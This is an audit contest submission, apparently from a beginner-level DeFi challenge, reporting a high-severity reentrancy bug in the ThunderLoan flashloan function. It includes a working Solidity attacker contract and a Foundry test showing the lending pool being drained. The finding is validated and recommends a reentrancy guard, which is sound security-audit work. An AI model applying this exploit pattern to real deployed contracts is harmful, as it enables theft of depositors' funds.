Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

The function `flashloan` can be reentrancy allowing an attacker to withdraw all money

Summary

The function flashloan can be reentrancy allowing an attacker to withdraw all money

Vulnerability Details

The function function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external can be reentrancy allowing an attacker to withdraw all money

Impact

An attacker can set up a malicious contract with executeOperation function. Inside that function monitor the balance of assetToken then call again to flashloan. In the callback function both 3 variables: endingBalance and startingBalance and fee be zero cause the transferUnderlyingTo already happen in the previous call flashloan.
In the second executeOperation, the attacker contract only need to call repay with amount+fee=0 and steal all money from Thunder loan

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IThunderLoan, IMaliciousThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { Test, console } from "forge-std/Test.sol";
contract FlashLoanReceiverReentrancy {
using SafeERC20 for IERC20;
uint256 reentrancyCount;
address s_thunderLoan;
constructor(address thunderLoan) {
s_thunderLoan = thunderLoan;
}
function callToThunderLoan(IERC20 token) external {
//Check balance of asset Token
AssetToken assetToken = IMaliciousThunderLoan(s_thunderLoan).getAssetFromToken(token);
uint256 allBalance = IERC20(token).balanceOf(address(assetToken));
console.log("all Balance", allBalance);
IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), allBalance, "");
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
reentrancyCount++;
if (reentrancyCount == 2) {
IMaliciousThunderLoan(s_thunderLoan).repay(token, 0);
}
IERC20(token).approve(s_thunderLoan, amount + fee);
//Instead of call repay like normal trust contract call back to flashloan one more time
IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), 0, "");
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { FlashLoanReceiverReentrancy } from "../mocks/FlashLoanReceiverReentrancy.sol";
contract ThunderLoanReentrancyTest is BaseTest {
uint256 constant AMOUNT = 10e18;
address user = address(456);
address liquidityProvider = address(123);
FlashLoanReceiverReentrancy flashLoanReceiverReentrancy;
function setUp() public override {
super.setUp();
vm.prank(user);
flashLoanReceiverReentrancy = new FlashLoanReceiverReentrancy(address(thunderLoan));
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
tokenA.mint(liquidityProvider, AMOUNT);
_;
}
modifier hasDeposit() {
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT);
vm.stopPrank();
_;
}
function testReentrancy() public setAllowedToken hasDeposit {
vm.prank(user);
flashLoanReceiverReentrancy.callToThunderLoan(tokenA);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
assertEq(asset.balanceOf(address(flashLoanReceiverReentrancy)), AMOUNT);
}
}

Tools Used

Manual
Foundry

Recommendations

Use some oppenzepplin pattern to prevent reentrancy for flashloan function

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.